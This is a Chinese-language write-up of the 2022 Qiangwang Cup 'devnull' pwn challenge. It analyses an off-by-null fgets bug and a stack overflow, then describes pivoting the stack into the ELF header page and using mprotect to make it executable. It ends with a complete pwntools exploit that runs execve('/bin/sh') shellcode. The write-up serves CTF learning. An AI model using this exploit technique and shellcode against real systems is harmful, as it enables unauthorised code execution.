2022 强网杯 Pwn devnull

注意
本文最后更新于 2022-07-31,文中内容可能已过时。

一些废话:

混了强网杯, 贡献为 0. 太菜了, 啥也不会, 坐大牢.

一开始去搞的 pokemogo, 凭着高超的 Google 技巧, 找到了对应的资料, 然而不会. 稍微看了一下, 能懂个非常粗的原理. 然后 bb 一个下午 + 半个晚上给打穿了, orz. UserManager RBTree + musl heap, 逆不出来, 也不会利用, 爬了. devnull 被打穿了, 但是我对着它看了很久, 都不知道 /dev/null 能有啥漏洞 (以为要往里写东西啥的), 然后去 Google 无果. (后来 cor1e 学姐打出来了, 太强了) limiter 喊我看 qwarmup, 看了很久也看不出 leak 的方法, 遂寄.

64 位 ELF, 没开 PIE 和 canary.

非常简单的逻辑 (为方便, 已修改部分符号名称):

main:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall __noreturn main(int a1, char **a2, char **a3)
{
  setvbuf(stdout, 0LL, 2, 0LL);
  setvbuf(stdin, 0LL, 2, 0LL);
  setvbuf(stderr, 0LL, 2, 0LL);
  put("welcome to the /dev/null world\n");
  put("the /dev/null can help clear your junk data\n");
  fun();
  fclose(nullfd);
  _exit(0);
}

fun():

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
void __fastcall fun()
{
  char s[32]; // [rsp+0h] [rbp-40h] BYREF
  int fd; // [rsp+20h] [rbp-20h]
  int v2; // [rsp+24h] [rbp-1Ch] BYREF
  void *buf; // [rsp+38h] [rbp-8h]

  put("/deb/null may cause some error\n");
  nullfd = fopen("/dev/null", "rb");
  fd = 3;
  if ( !nullfd )
  {
    put("error\n");
    exit(1);
  }
  buf = malloc(0x60);
  put("please input your filename\n");
  fgets(s, 33, stdin);
  put("Please write the data you want to discard\n");
  if ( read(fd, &v2, 0x2c) )
  {
    data_segment_protect();
    put("please input your new data\n");
    if ( !read(fd, buf, 0x60) )
      exit(1);
    put("Thanks\n");
    close(1);
  }
  else
  {
    put("no junk data?\n");
    put("please input your new data\n");
    read(0, buf, data60h);
    discard_data(s, (const char *)buf);
  }
}

put 是自己实现的一个输出函数:

1
2
3
4
5
6
7
void __fastcall put(const char *a1)
{
  size_t v1; // rdx

  v1 = (int)strlen(a1);
  write(1, a1, v1);
}

data_segment_protect:

1
2
3
4
void __fastcall data_segment_protect()
{
  mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
}

mprotect 一会详细讲.

discard_data:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
void __fastcall discard_data(const char *a1, const char *a2)
{
  if ( use_devnull == 0x436174463179LL )
  {
    fprintf(nullfd, a2);
    use_devnull = 0LL;
  }
  data_segment_protect();
  strlen(a1);
  *a1 = 0;
}

漏洞主要出现在 fun 中.

1
2
3
4
5
6
7
void __fastcall fun()
{
  char s[32]; // [rsp+0h] [rbp-40h] BYREF
  int fd; // [rsp+20h] [rbp-20h]
  ...
  fgets(s, 33, stdin);
}

这里有 off by null.

man 3 fgets, 了解一下 fgets 的机制:

char *fgets(char *s, int size, FILE *stream);

fgets() reads in at most one less than size characters from stream and stores them into the buffer pointed to by s. Reading stops after an EOF or a newline. If a newline is read, it is stored into the buffer. A terminating null byte (’\0’) is stored after the last character in the buffer.

fgets 从 stream 读取最多 size - 1 个字符到 s 中. 读取碰到 EOF 或者 '\n' 停止. 最后, 在字符串末尾补 0.

s 只有 32 个字节, 然而 fgets 传入的 size 是 33, 所以, 如果填完了 32 字节, 那么会在 33 的位置设置为 '\0'. 看到 s[33] 位置就是 fd 的最低位字节.

虽然全局变量 nullfd 存了, 但是后面在写入 /dev/null 的时候, 用的是局部变量 fd. 所以 off by null 后, 后面几个 read(fd, xxx, xxx) 的, 实际上可以从 stdin 读入了.

(以及这样后面的 else 就不会执行到了. discard_data 也不用看了.

还可以发现栈溢出漏洞.

1
2
3
4
5
6
7
8
9
void __fastcall fun()
{
  ...
  int v2; // [rsp+24h] [rbp-1Ch] BYREF
  void *buf; // [rsp+38h] [rbp-8h]
  ...
  if ( read(fd, &v2, 0x2c) )
  ...
}

v2 在 rbp - 1C 处, 而可以读入 0x2c 的数据. 这将会 覆盖掉 buf, 以及栈上多 0x10 的数据, 即 old rbp 和 return addr. 刚好覆盖到返回地址, 无法直接在栈上构造 ROP 链. 由于没开 PIE, 考虑栈迁移, 把 old rbp 覆盖到一个可以写的位置. 最简单的就是数据段. 但是, 继续往下看:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
void __fastcall fun()
{
  ...
  if ( read(fd, &v2, 0x2c) )
  {
    data_segment_protect();
    ...
  }
  ...
}
1
2
3
4
void __fastcall data_segment_protect()
{
  mprotect((&stdout & 0xFFFFFFFFFFFFF000LL), 0x1000uLL, 1);
}

这里是用 mprotect 将 stdin 所在页的权限设置为 r–.

看一下 mprotect: man 2 mprotect

int pkey_mprotect(void *addr, size_t len, int prot, int pkey);

mprotect() changes the access protections for the calling process’s memory pages containing any part of the address range in the interval [addr, addr+len-1]. addr must be aligned to a page boundary.

If the calling process tries to access memory in a manner that violates the protections, then the kernel generates a SIGSEGV signal for the process.

prot is a combination of the following access flags: PROT_NONE or a bitwise-or of the other values in the following list:

PROT_NONE The memory cannot be accessed at all.

PROT_READ The memory can be read.

PROT_WRITE The memory can be modified.

PROT_EXEC The memory can be executed.

(pkey 这个参数可以先不管, 直接用前面 3 个参数也是可以调用的)

将 addr (必须对齐页) 开始, 大小 size 的地方结束, 这段内存的权限设置为 port. port 是 rwx (国际惯例, 1 r, 2 w, 4 x).

这里就是把 stdout 所在的数据段 (由于使用了 setvbuf, stdout 位于程序的数据段) 的权限设置为只读. 我们之前想的栈迁移, 就无法迁移到这里了.

那就没办法了吗? 调试一下, 查看内存映射情况 (rizin 指令 dm, 主要关注程序的部分, 可以加 grep):

1
2
3
4
5
6
0x00000000003fe000 - 0x0000000000400000 - usr     8K s rw- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.ehdr
0x0000000000400000 - 0x0000000000401000 - usr     4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD2
0x0000000000401000 - 0x0000000000402000 * usr     4K s r-x /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD3
0x0000000000402000 - 0x0000000000403000 - usr     4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; segment.LOAD4
0x0000000000403000 - 0x0000000000404000 - usr     4K s r-- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; map.home_wings_CTF_contest_2022_qwb_devnull_devnull.rw
0x0000000000404000 - 0x0000000000405000 - usr     4K s rw- /home/wings/CTF/contest/2022-qwb/devnull/devnull /home/wings/CTF/contest/2022-qwb/devnull/devnull ; section..data

可以发现, 起始于 0x3fe000 的 ehdr 段具有读写权限. ehdr 是 elf header, 在程序执行的过程中没啥用, 所以我们可以修改它而不引起崩溃.

接着看程序:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
void __fastcall fun()
{
  ...
  if ( read(fd, &v2, 0x2c) )
  {
    ...
    if ( !read(fd, buf, 0x60) )
      exit(1);
    put("Thanks\n");
    close(1);
  }
  ...
}

读入到 buf 指向的区域上, 然后关闭 stdout. 这个关了和没关一样, 因为提权后可以输出到 stderr.

无法泄漏 libc, 不能直接构造 execve("/bin/sh").

注意到有 mprotect, 我们或许可以改变一块页的权限, 使得它可执行, 那么向这个页上写入 shellcode, 然后 ret 到这里执行就行.

那么问题来了, 如何构造这个具有执行权限的 mprotect 呢?

port 参数由 rdx 传入, 并且调试可以发现, fun 函数返回时, rdx 恰好是 7! 原因在于其返回前执行了 put("Thanks\n"), 内部是 write(1, "Thanks\n", 7), write 的第三个参数 7, 有 rdx 传入. put 后面的 close 不会修改 rdx. 由于传参顺序是从右向左 (一般是这样), mprotect 的第三个参数是最先传的, 那么可以劫持到传完后的部分, 传入继续前两个参数, 理论上就可以构造一个权限 rwx 的页了.

看一下 data_segment_protect 的汇编:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
0x004012b6      endbr64
0x004012ba      push  rbp
0x004012bb      mov   rbp, rsp
0x004012be      lea   rax, obj.stdout                      ; 0x404040
0x004012c5      and   rax, 0xfffffffffffff000
0x004012cb      mov   edx, 1
0x004012d0      mov   esi, 0x1000
0x004012d5      mov   rdi, rax
0x004012d8      call  sym.imp.mprotect
0x004012dd      nop
0x004012de      pop   rbp
0x004012df      ret

由于没有开 PIE, 所以理论上来说可以比较轻松的控制程序流运行到 0x004012d0. 这样还有一个问题. rax 的值需要是一个页对齐的有效地址. (mov, rdi, rax 传第一个参 addr)

由于运行了 close(1), 在 fun 返回的时候, rax = 0 (NULL), 这并不是我们所期望的. 而且, 这个 rax 需要我们能够控制, 使其指向一个合适的位置. 搜索一下 mov rax; ret 的 gadget:

1
2
3
4
[0x00401513]> "/R mov rax;ret"
  0x00401350           488b45e8  mov rax, qword [rbp - 0x18]
  0x00401354                 c9  leave
  0x00401355                 c3  ret
技巧
这里用 rizin 的 /R 就能搜到, 反倒是 /ad/ 搜不到. ROPgadget 也搜不到. 不知道为啥, 离谱了.

可以看到, 这里有从栈上读入数据到 rax, 然后 leave;ret 的 gadget. 正好, 覆盖 buf 到 ehdr 位置后, 我们可以向 ehdr 段写数据伪造栈, 同时也可以在其上布置 ROP 链. 还能写入 shellcode, 待 mprotect 改变了这个段的属性为 rwx 后, 返回到 shellcode 执行.

cor1e 学姐的 exp:

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
from pwn import *

p = process('./devnull')
# p = remote('47.94.166.51', 44268)
context.log_level='debug'
context.arch='amd64'

p.recvuntil("please input your filename\n")
p.send(b'\x00' * 0x20)

p.recvuntil("Please write the data you want to discard\n")
p.send(b'\x00' * 0x14+ p64(0x3ff000) + p64(0x3ff018) + p64(0x401350))

p.recvuntil("please input your new data\n")
shellcode = shellcraft.execve('/bin/sh')
payload = p64(0x3ff000) + b'\x00'*0x18 + p64(0x4012D0) + p64(0xdeadbeef) + p64(0x3ff038) + asm(shellcode)
print('len: ',hex(len(payload)))
p.send(payload)
p.interactive()

由于关了 stdout, 打通以后要重定向输出到 stderr

cat flag >&2

这题完全是在能力范围之内的, 心态问题. (最近确实心态不行, 整个人都不在状态.)